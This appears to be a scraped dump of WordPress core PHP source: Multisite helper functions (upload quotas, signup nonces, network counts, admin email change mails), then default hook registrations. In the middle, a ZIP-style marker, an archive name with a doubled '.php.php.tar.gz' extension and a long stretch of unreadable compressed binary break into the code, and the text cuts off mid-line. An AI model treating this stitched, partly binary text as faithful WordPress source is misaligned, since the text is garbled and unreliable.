$recent_post['post_date_gmt'], 'post_gmt_ts' => $post_gmt_ts, ); } } } return $most_recent_post; } // // Misc functions. // /** * Checks an array of MIME types against a list of allowed types. * * WordPress ships with a set of allowed upload filetypes, * which is defined in wp-includes/functions.php in * get_allowed_mime_types(). This function is used to filter * that list against the filetypes allowed provided by Multisite * Super Admins at wp-admin/network/settings.php. * * @since MU (3.0.0) * * @param array $mimes * @return array */ function check_upload_mimes( $mimes ) { $site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); $site_mimes = array(); foreach ( $site_exts as $ext ) { foreach ( $mimes as $ext_pattern => $mime ) { if ( '' !== $ext && str_contains( $ext_pattern, $ext ) ) { $site_mimes[ $ext_pattern ] = $mime; } } } return $site_mimes; } /** * Updates a blog's post count. * * WordPress MS stores a blog's post count as an option so as * to avoid extraneous COUNTs when a blog's details are fetched * with get_site(). This function is called when posts are published * or unpublished to make sure the count stays current. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $deprecated Not used. */ function update_posts_count( $deprecated = '' ) { global $wpdb; update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ), true ); } /** * Logs the user email, IP, and registration date of a new site. * * @since MU (3.0.0) * @since 5.1.0 Parameters now support input from the {@see 'wp_initialize_site'} action. * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Site|int $blog_id The new site's object or ID. * @param int|array $user_id User ID, or array of arguments including 'user_id'. */ function wpmu_log_new_registrations( $blog_id, $user_id ) { global $wpdb; if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( is_array( $user_id ) ) { $user_id = ! empty( $user_id['user_id'] ) ? $user_id['user_id'] : 0; } $user = get_userdata( (int) $user_id ); if ( $user ) { $wpdb->insert( $wpdb->registration_log, array( 'email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time( 'mysql' ), ) ); } } /** * Ensures that the current site's domain is listed in the allowed redirect host list. * * @see wp_validate_redirect() * @since MU (3.0.0) * * @param array|string $deprecated Not used. * @return string[] { * An array containing the current site's domain. * * @type string $0 The current site's domain. * } */ function redirect_this_site( $deprecated = '' ) { return array( get_network()->domain ); } /** * Checks whether an upload is too big. * * @since MU (3.0.0) * * @param array $upload An array of information about the newly-uploaded file. * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message. */ function upload_is_file_too_big( $upload ) { if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) ) { return $upload; } if ( strlen( $upload['bits'] ) > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { /* translators: %s: Maximum allowed file size in kilobytes. */ return sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ) . '
', get_site_option( 'fileupload_maxk', 1500 ) ); } return $upload; } /** * Adds a nonce field to the signup page. * * @since MU (3.0.0) */ function signup_nonce_fields() { $id = mt_rand(); echo ""; wp_nonce_field( 'signup_form_' . $id, '_signup_form', false ); } /** * Processes the signup nonce created in signup_nonce_fields(). * * @since MU (3.0.0) * * @param array $result * @return array */ function signup_nonce_check( $result ) { if ( ! strpos( $_SERVER['PHP_SELF'], 'wp-signup.php' ) ) { return $result; } if ( ! wp_verify_nonce( $_POST['_signup_form'], 'signup_form_' . $_POST['signup_form_id'] ) ) { $result['errors']->add( 'invalid_nonce', __( 'Unable to submit this form, please try again.' ) ); } return $result; } /** * Corrects 404 redirects when NOBLOGREDIRECT is defined. * * @since MU (3.0.0) */ function maybe_redirect_404() { if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) ) { /** * Filters the redirect URL for 404s on the main site. * * The filter is only evaluated if the NOBLOGREDIRECT constant is defined. * * @since 3.0.0 * * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT. */ $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ); if ( $destination ) { if ( '%siteurl%' === $destination ) { $destination = network_home_url(); } wp_redirect( $destination ); exit; } } } /** * Adds a new user to a blog by visiting /newbloguser/{key}/. * * This will only work when the user's details are saved as an option * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be * added, as when a user is invited through the regular WP Add User interface. * * @since MU (3.0.0) */ function maybe_add_existing_user_to_blog() { if ( ! str_contains( $_SERVER['REQUEST_URI'], '/newbloguser/' ) ) { return; } $parts = explode( '/', $_SERVER['REQUEST_URI'] ); $key = array_pop( $parts ); if ( '' === $key ) { $key = array_pop( $parts ); } $details = get_option( 'new_user_' . $key ); if ( ! empty( $details ) ) { delete_option( 'new_user_' . $key ); } if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) ) { wp_die( sprintf( /* translators: %s: Home URL. */ __( 'An error occurred adding you to this site. Go to the homepage.' ), home_url() ) ); } wp_die( sprintf( /* translators: 1: Home URL, 2: Admin URL. */ __( 'You have been added to this site. Please visit the homepage or log in using your username and password.' ), home_url(), admin_url() ), __( 'WordPress › Success' ), array( 'response' => 200 ) ); } /** * Adds a user to a blog based on details from maybe_add_existing_user_to_blog(). * * @since MU (3.0.0) * * @param array|false $details { * User details. Must at least contain values for the keys listed below. * * @type int $user_id The ID of the user being added to the current blog. * @type string $role The role to be assigned to the user. * } * @return true|WP_Error|void True on success or a WP_Error object if the user doesn't exist * or could not be added. Void if $details array was not provided. */ function add_existing_user_to_blog( $details = false ) { if ( is_array( $details ) ) { $blog_id = get_current_blog_id(); $result = add_user_to_blog( $blog_id, $details['user_id'], $details['role'] ); /** * Fires immediately after an existing user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param true|WP_Error $result True on success or a WP_Error object if the user doesn't exist * or could not be added. */ do_action( 'added_existing_user', $details['user_id'], $result ); return $result; } } /** * Adds a newly created user to the appropriate blog * * To add a user in general, use add_user_to_blog(). This function * is specifically hooked into the {@see 'wpmu_activate_user'} action. * * @since MU (3.0.0) * * @see add_user_to_blog() * * @param int $user_id User ID. * @param string $password User password. Ignored. * @param array $meta Signup meta data. */ function add_new_user_to_blog( $user_id, #[\SensitiveParameter] $password, $meta ) { if ( ! empty( $meta['add_to_blog'] ) ) { $blog_id = $meta['add_to_blog']; $role = $meta['new_role']; remove_user_from_blog( $user_id, get_network()->site_id ); // Remove user from main blog. $result = add_user_to_blog( $blog_id, $user_id, $role ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } } } /** * Corrects From host on outgoing mail to match the site domain. * * @since MU (3.0.0) * * @param PHPMailer\PHPMailer\PHPMailer $phpmailer The PHPMailer instance (passed by reference). */ function fix_phpmailer_messageid( $phpmailer ) { $phpmailer->Hostname = get_network()->domain; } /** * Determines whether a user is marked as a spammer, based on user login. * * @since MU (3.0.0) * * @param string|WP_User $user Optional. Defaults to current user. WP_User object, * or user login name as a string. * @return bool */ function is_user_spammy( $user = null ) { if ( ! ( $user instanceof WP_User ) ) { if ( $user ) { $user = get_user_by( 'login', $user ); } else { $user = wp_get_current_user(); } } return $user && isset( $user->spam ) && '1' === $user->spam; } /** * Updates this blog's 'public' setting in the global blogs table. * * Public blogs have a setting of 1, private blogs are 0. * * @since MU (3.0.0) * * @param int $old_value The old public value. * @param int $value The new public value. */ function update_blog_public( $old_value, $value ) { update_blog_status( get_current_blog_id(), 'public', (int) $value ); } /** * Determines whether users can self-register, based on Network settings. * * @since MU (3.0.0) * * @return bool */ function users_can_register_signup_filter() { $registration = get_site_option( 'registration' ); return ( 'all' === $registration || 'user' === $registration ); } /** * Ensures that the welcome message is not empty. Currently unused. * * @since MU (3.0.0) * * @param string $text * @return string */ function welcome_user_msg_filter( $text ) { if ( ! $text ) { remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' ); /* translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. */ $text = __( 'Howdy USERNAME, Your new account is set up. You can log in with the following information: Username: USERNAME Password: PASSWORD LOGINLINK Thanks! --The Team @ SITE_NAME' ); update_site_option( 'welcome_user_email', $text ); } return $text; } /** * Determines whether to force SSL on content. * * @since 2.8.5 * * @param bool $force * @return bool True if forced, false if not forced. */ function force_ssl_content( $force = '' ) { static $forced_content = false; if ( ! $force ) { $old_forced = $forced_content; $forced_content = $force; return $old_forced; } return $forced_content; } /** * Formats a URL to use https. * * Useful as a filter. * * @since 2.8.5 * * @param string $url URL. * @return string URL with https as the scheme. */ function filter_SSL( $url ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! is_string( $url ) ) { return get_bloginfo( 'url' ); // Return home site URL with proper scheme. } if ( force_ssl_content() && is_ssl() ) { $url = set_url_scheme( $url, 'https' ); } return $url; } /** * Schedules update of the network-wide counts for the current network. * * @since 3.1.0 */ function wp_schedule_update_network_counts() { if ( ! is_main_site() ) { return; } if ( ! wp_next_scheduled( 'update_network_counts' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'update_network_counts' ); } } /** * Updates the network-wide counts for the current network. * * @since 3.1.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_counts( $network_id = null ) { wp_update_network_user_counts( $network_id ); wp_update_network_site_counts( $network_id ); } /** * Updates the count of sites for the current network. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count * on a network when a site is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_site_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'sites', $network_id ); /** * Filters whether to update network site or user counts when a new site is created. * * @since 3.7.0 * * @see wp_is_large_network() * * @param bool $small_network Whether the network is considered small. * @param string $context Context. Either 'users' or 'sites'. */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) ) { return; } wp_update_network_site_counts( $network_id ); } /** * Updates the network-wide users count. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count * on a network when a user is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_user_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'users', $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) { return; } wp_update_network_user_counts( $network_id ); } /** * Updates the network-wide site count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_site_counts( $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } $count = get_sites( array( 'network_id' => $network_id, 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'count' => true, 'update_site_meta_cache' => false, ) ); update_network_option( $network_id, 'blog_count', $count ); } /** * Updates the network-wide user count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * @since 6.0.0 This function is now a wrapper for wp_update_user_counts(). * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_user_counts( $network_id = null ) { wp_update_user_counts( $network_id ); } /** * Returns the space used by the current site. * * @since 3.5.0 * * @return int Used space in megabytes. */ function get_space_used() { /** * Filters the amount of storage space used by the current site, in megabytes. * * @since 3.5.0 * * @param int|false $space_used The amount of used space, in megabytes. Default false. */ $space_used = apply_filters( 'pre_get_space_used', false ); if ( false === $space_used ) { $upload_dir = wp_upload_dir(); $space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES; } return $space_used; } /** * Returns the upload quota for the current blog. * * @since MU (3.0.0) * * @return int Quota in megabytes. */ function get_space_allowed() { $space_allowed = get_option( 'blog_upload_space' ); if ( ! is_numeric( $space_allowed ) ) { $space_allowed = get_site_option( 'blog_upload_space' ); } if ( ! is_numeric( $space_allowed ) ) { $space_allowed = 100; } /** * Filters the upload quota for the current site. * * @since 3.7.0 * * @param int $space_allowed Upload quota in megabytes for the current blog. */ return apply_filters( 'get_space_allowed', $space_allowed ); } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * * @return int of upload space available in bytes. */ function get_upload_space_available() { $allowed = get_space_allowed(); if ( $allowed < 0 ) { $allowed = 0; } $space_allowed = $allowed * MB_IN_BYTES; if ( get_site_option( 'upload_space_check_disabled' ) ) { return $space_allowed; } $space_used = get_space_used() * MB_IN_BYTES; if ( ( $space_allowed - $space_used ) <= 0 ) { return 0; } return $space_allowed - $space_used; } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * @return bool True if space is available, false otherwise. */ function is_upload_space_available() { if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } return (bool) get_upload_space_available(); } /** * Filters the maximum upload file size allowed, in bytes. * * @since 3.0.0 * * @param int $size Upload size limit in bytes. * @return int Upload size limit in bytes. */ function upload_size_limit_filter( $size ) { $fileupload_maxk = (int) get_site_option( 'fileupload_maxk', 1500 ); $max_fileupload_in_bytes = KB_IN_BYTES * $fileupload_maxk; if ( get_site_option( 'upload_space_check_disabled' ) ) { return min( $size, $max_fileupload_in_bytes ); } return min( $size, $max_fileupload_in_bytes, get_upload_space_available() ); } /** * Determines whether or not we have a large network. * * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites. * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param string $using 'sites' or 'users'. Default is 'sites'. * @param int|null $network_id ID of the network. Default is the current network. * @return bool True if the network meets the criteria for large. False otherwise. */ function wp_is_large_network( $using = 'sites', $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } if ( 'users' === $using ) { $count = get_user_count( $network_id ); $is_large_network = wp_is_large_user_count( $network_id ); /** * Filters whether the network is considered large. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param bool $is_large_network Whether the network has more than 10000 users or sites. * @param string $component The component to count. Accepts 'users', or 'sites'. * @param int $count The count of items for the component. * @param int $network_id The ID of the network being checked. */ return apply_filters( 'wp_is_large_network', $is_large_network, 'users', $count, $network_id ); } $count = get_blog_count( $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id ); } /** * Retrieves a list of reserved site on a sub-directory Multisite installation. * * @since 4.4.0 * * @return string[] Array of reserved names. */ function get_subdirectory_reserved_names() { $names = array( 'page', 'comments', 'blog', 'files', 'feed', 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', 'embed', ); /** * Filters reserved site names on a sub-directory Multisite installation. * * @since 3.0.0 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added * to the reserved names list. * * @param string[] $subdirectory_reserved_names Array of reserved names. */ return apply_filters( 'subdirectory_reserved_names', $names ); } /** * Sends a confirmation request email when a change of network admin email address is attempted. * * The new network admin address will not become active until confirmed. * * @since 4.9.0 * * @param string $old_value The old network admin email address. * @param string $value The proposed new network admin email address. */ function update_network_option_new_admin_email( $old_value, $value ) { if ( get_site_option( 'admin_email' ) === $value || ! is_email( $value ) ) { return; } $hash = md5( $value . time() . mt_rand() ); $new_admin_email = array( 'hash' => $hash, 'newemail' => $value, ); update_site_option( 'network_admin_hash', $new_admin_email ); $switched_locale = switch_to_user_locale( get_current_user_id() ); /* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_text = __( 'Howdy ###USERNAME###, You recently requested to have the network admin email address on your network changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filters the text of the email sent when a change of network admin email address is attempted. * * The following strings have a special meaning and will get replaced dynamically: * ###USERNAME### The current user's username. * ###ADMIN_URL### The link to click on to confirm the email change. * ###EMAIL### The proposed new network admin email address. * ###SITENAME### The name of the network. * ###SITEURL### The URL to the network. * * @since 4.9.0 * * @param string $email_text Text in the email. * @param array $new_admin_email { * Data relating to the new network admin email address. * * @type string $hash The secure hash used in the confirmation link URL. * @type string $newemail The proposed new network admin email address. * } */ $content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email ); $current_user = wp_get_current_user(); $content = str_replace( '###USERNAME###', $current_user->user_login, $content ); $content = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content ); $content = str_replace( '###EMAIL###', $value, $content ); $content = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content ); $content = str_replace( '###SITEURL###', network_home_url(), $content ); wp_mail( $value, sprintf( /* translators: Email change notification email subject. %s: Network title. */ __( '[%s] Network Admin Email Change Request' ), wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ) ), $content ); if ( $switched_locale ) { restore_previous_locale(); } } /** * Sends an email to the old network admin email address when the network admin email address changes. * * @since 4.9.0 * * @param string $option_name The relevant database option name. * @param string $new_email The new network admin email address. * @param string $old_email The old network admin email address. * @param int $network_id ID of the network. */ function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) { $send = true; // Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } /** * Filters whether to send the network admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id ); if ( ! $send ) { return; } /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_change_text = __( 'Hi, This notice confirms that the network admin email address was changed on ###SITENAME###. The new network admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, /* translators: Network admin email change notification email subject. %s: Network title. */ 'subject' => __( '[%s] Network Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); // Get network name. $network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ); /** * Filters the contents of the email notification sent when the network admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old network admin email address. * - ###NEW_EMAIL### The new network admin email address. * - ###SITENAME### The name of the network. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $network_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $network_name ), $email_change_email['message'], $email_change_email['headers'] ); } PK $[۠!!+class-wp-theme-json-resolver.php.php.tar.gznu[=kwƕ* $5.EN&*c;l4^"$*`P} Plu(`̝;rj3,rl\%n&r5)ӫaVM,O4KRRu_j^C=cڸQ59xһT"Y\]ua!wDQ[5 f6A,pK@H9i`X| Ll\$I,6394=Z['h1hqnE!bҼLR=j`UBxf)⻿q8WIijF b k!;. ц냍r5B]fe6] 8WI9;r$AĔ r㔓8 HGz$ev U$݅$}>v~la&.RyD Yi$4Pa|Rw\lзZ*Œ $G޺3(i1ׄ6Fٌ{w[=$-~XR$8*,YJ6Hhƕ6f&8!ˣrӠ++.qMMCpcPێXӪA z&D!zZ^DN5 G]h6FZ.}eƊ1"Z=} ;ʀHB/&ZdFZ@='9:RgF tlQ[R[ltIۤW`-H\G@p(\CKICH@hFnoUs@vLBw5HFsN=y$~O/R\l|Yy8E/g"Zh#\EnSV:+MD́g5uRdM7z~TMB 9}-‘:h}/@&V&NEN6:2X,aø-5 g|NPmc,@QT^`<Ւ᭷V@Aa]tZ\<2"-u-D`ʅ/*>&w(2_f$:Yc뀖&[>Ֆb(Nӎul*Y=T-[&+Wp2I:(|~!X;I/VӎXA|Q98#Ej;5,VHMgڒC&d1EmZNC6-]EnntGxg9Zj־;DܑR$?wkhClwƺwe,k M&۩蓡]S*x܋۪5ヅg~qך;-=t,q,C\!24[H_Źx8,'y/5qt2txuH/7v lO8^&kr]Pc$:Èi$SWX^|j#TKLQR֓ZLoT3}G>xkWݒQZ`͜C&Cio\ro Sǖb}G]׆1+9p7fbUBJr1鷑'> {)Nң9{SOgE%W+c҆Fo#c'Itb(Y% /iMQVsƲ5CR3vw,?е2%\E"߫ȥ$|1I4:0/!J-Zm\'ΙI0 4}=ݪΜrFtXV>mۻsA2q[Z6۔~c4l˗aʺ.T6Q|2lE:Md\_@-]bno /2|<2yJ{+c|R*+snYS|.t\}V`GZH[ewack}F_A+cfq1 מFlD L+W~MF!K<%^j9db3Z"L$S"ɻG1,>nV;}T,m64'5]isM J -L͔aϩTJG>ZLޟNĮIZ:pZ/# $݄n/* }qw(js~}Y΀`乽N.n˞;|#c}icڹv8frڷ.2{æB2#DOypQ v܎"`lNN Gn9S4eIB3+if#z'69]kdZ ֒=LGtUoypE7i@xU[STX]m*Zp÷8Y7\)ޖwbh`*xҖ^Ɨ~Dd9{D.A22^yN9t񂦁҅97.:U%I=quŐ?cPE韁/I3π²bXvB.ivm'XY?Kש!\k6Tv X`(ky/'79[tYXَ8Xny/Xwhz!\BΞE[),ur&?i}?j|ٺG1ldܢ=`px- /J .sAQj"t#e36U `1}AwuKRKF/}٦ kje }<1cv. bPk%u-+}s6^T?& g뢈0;5P70S}$ɳ?9h3~S QXkMD^=+$Q vK #\ρg׸ 48T).#-{,&љ)SIz2?Fc 2@Ǐ+iۙ8K:KiD@K"{C߰n(.qC5nO7| ٘8[ig7B[l@;}b#x~f'8d'of<_`&| 5"aSmDFF@# JnT(՚R|ŮI-Eu꼏D,?{!ޓwj5cҋ+jxDwˣɜBZ\ceCmkD.&cK~3 ^7kHK#lS&U7 zhj{)W7M: N14JE+/?+^tNu^D?3+{kM>1;䵭;Tl]b[%aLWA_f,M#Jֿ]x\&^l) _zD_9C> +Tw(Z+?(_ٞv8hVN( sg5cNgEJGXNRg%~o2& 쯋jRt vo]-&ӑwR&4Vs5#W&r̕Р:M *75%ȿh(mXČ i\/0UM@ B#y0x_2p39~sw}$`=TAr6]2h;#}ECV͖K3)]LoDMhf2`Z%]׌6i/ǸJZjQtkZM6v/5i/hϷqCw̘!z |.Hk3YQ(wZb Q:|)FF|)1@N /+|i_AW B>81rGA¤]utь[ĶT- wC3jX8,L3}}{S4S-"Jj޿ق5a |pKN_/e9{4'f'Tv1CzfGr" 9h7. add_action( 'wp_footer', 'wp_maybe_inline_styles', 1 ); // Run for late-loaded styles in the footer. /* * Block specific actions and filters. */ // Footnotes Block. add_action( 'init', '_wp_footnotes_kses_init' ); add_action( 'set_current_user', '_wp_footnotes_kses_init' ); add_filter( 'force_filtered_html_on_import', '_wp_footnotes_force_filtered_html_on_import_filter', 999 ); /* * Disable "Post Attributes" for wp_navigation post type. The attributes are * also conditionally enabled when a site has custom templates. Block Theme * templates can be available for every post type. */ add_filter( 'theme_wp_navigation_templates', '__return_empty_array' ); // Taxonomy. add_action( 'init', 'create_initial_taxonomies', 0 ); // Highest priority. add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical. add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Media. add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); add_action( 'plugins_loaded', '_wp_add_additional_image_sizes', 0 ); add_filter( 'plupload_default_settings', 'wp_show_heic_upload_error' ); // Nav menu. add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); add_filter( 'nav_menu_css_class', 'wp_nav_menu_remove_menu_item_has_children_class', 10, 4 ); // Widgets. add_action( 'after_setup_theme', 'wp_setup_widgets_block_editor', 1 ); add_action( 'init', 'wp_widgets_init', 1 ); add_action( 'change_locale', array( 'WP_Widget_Media', 'reset_default_labels' ) ); add_action( 'widgets_init', '_wp_block_theme_register_classic_sidebars', 1 ); // Admin Bar. // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_admin_bar_bump_styles' ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_admin_bar_header_styles' ); add_action( 'admin_enqueue_scripts', 'wp_enqueue_admin_bar_header_styles' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_body_open', 'wp_admin_bar_render', 0 ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); // Back-compat for themes not using `wp_body_open`. add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end. add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds. add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); // Back-compat for sites disabling oEmbed host JS by removing action. add_filter( 'embed_oembed_html', 'wp_maybe_enqueue_oembed_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'wp_enqueue_embed_styles', 9 ); add_action( 'embed_head', 'print_embed_styles' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_embed_styles(). add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'enqueue_embed_scripts', 'wp_enqueue_emoji_styles' ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_iframe_title_attribute', 5, 3 ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); // Capabilities. add_filter( 'user_has_cap', 'wp_maybe_grant_install_languages_cap', 1 ); add_filter( 'user_has_cap', 'wp_maybe_grant_resume_extensions_caps', 1 ); add_filter( 'user_has_cap', 'wp_maybe_grant_site_health_caps', 1, 4 ); // Block templates post type and rendering. add_filter( 'render_block_context', '_block_template_render_without_post_block_context' ); add_filter( 'pre_wp_unique_post_slug', 'wp_filter_wp_template_unique_post_slug', 10, 5 ); add_action( 'save_post_wp_template_part', 'wp_set_unique_slug_on_create_template_part' ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_template_skip_link' ); add_action( 'wp_footer', 'the_block_template_skip_link' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_block_template_skip_link(). add_action( 'after_setup_theme', 'wp_enable_block_templates', 1 ); add_action( 'wp_loaded', '_add_template_loader_filters' ); // wp_navigation post type. add_filter( 'rest_wp_navigation_item_schema', array( 'WP_Navigation_Fallback', 'update_wp_navigation_post_schema' ) ); // Fluid typography. add_filter( 'render_block', 'wp_render_typography_support', 10, 2 ); // User preferences. add_action( 'init', 'wp_register_persisted_preferences_meta' ); // CPT wp_block custom postmeta field. add_action( 'init', 'wp_create_initial_post_meta' ); // Include revisioned meta when considering whether a post revision has changed. add_filter( 'wp_save_post_revision_post_has_changed', 'wp_check_revisioned_meta_fields_have_changed', 10, 3 ); // Save revisioned post meta immediately after a revision is saved add_action( '_wp_put_post_revision', 'wp_save_revisioned_meta_fields', 10, 2 ); // Include revisioned meta when creating or updating an autosave revision. add_action( 'wp_creating_autosave', 'wp_autosave_post_revisioned_meta_fields' ); // When restoring revisions, also restore revisioned meta. add_action( 'wp_restore_post_revision', 'wp_restore_post_revision_meta', 10, 2 ); // Font management. add_action( 'wp_head', 'wp_print_font_faces', 50 ); add_action( 'deleted_post', '_wp_after_delete_font_family', 10, 2 ); add_action( 'before_delete_post', '_wp_before_delete_font_face', 10, 2 ); add_action( 'init', 